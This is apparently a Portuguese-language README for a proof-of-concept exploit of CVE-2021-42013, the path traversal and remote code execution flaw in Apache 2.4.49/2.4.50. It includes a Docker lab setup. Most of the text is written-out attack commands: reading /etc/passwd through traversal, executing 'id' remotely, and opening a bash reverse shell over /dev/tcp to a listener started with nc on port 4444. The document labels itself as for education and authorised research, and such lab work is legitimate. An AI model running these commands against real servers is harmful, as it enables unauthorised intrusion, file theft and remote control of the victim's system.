
Exploit para Apache 2.4.49/2.4.50 path traversal e RCE (CVE-2021-42013). Inclui configuração Docker e script para testar path traversal, executar comandos e obter um reverse shell.
⚠️ Apenas para fins educacionais e de pesquisa de segurança autorizada
Muito grato ao autor do PoC original Walnut Security Services Pvt. Ltd
Um atacante poderia usar um ataque de path traversal para mapear URLs para arquivos fora dos diretórios configurados por diretivas do tipo Alias. Se arquivos fora desses diretórios não forem protegidos pela configuração padrão usual "require all denied", essas solicitações podem ser bem-sucedidas. Se scripts CGI também estiverem habilitados para esses caminhos com alias, isso pode permitir a execução remota de código. Esse problema afeta apenas o Apache 2.4.49 e o Apache 2.4.50, e não versões anteriores.
Primeiro, clone o repositório
git clone https://github.com/asepsaepdin/CVE-2021-42013.git
Mude o diretório
cd CVE-2021-42013
Crie o container vulnerável
docker build -t CVE-2021-42013 .
Execute o container efêmero
docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
Verifique o endereço IP do container
docker inspect CVE-2021-42013 | grep "IPAddress"
Dê permissão de execução ao script
chmod +x cve-2021-42013.sh
Para testar e confirmar o path traversal, é necessário descobrir um diretório válido, que neste caso está configurado como /icons. Portanto, executar o seguinte comando acionaria a vulnerabilidade de path traversal e imprimiria o conteúdo de /etc/passwd:
./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
Para testar e confirmar a execução remota de código, o CGI deve estar configurado e habilitado, o que neste caso é verdadeiro. Portanto, executar o seguinte comando acionaria a execução remota de código e imprimiria a saída do comando id:
./cve-2021-42013.sh 172.17.0.3 /bin/bash id
Do ponto de vista do atacante, a execução remota de código é essencial para obter acesso a um shell interativo. Portanto, executar o seguinte comando acionaria um reverse shell convencional baseado em bash sobre tcp para o sistema do atacante na porta 4444/tcp:
./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
nc -nlvp 4444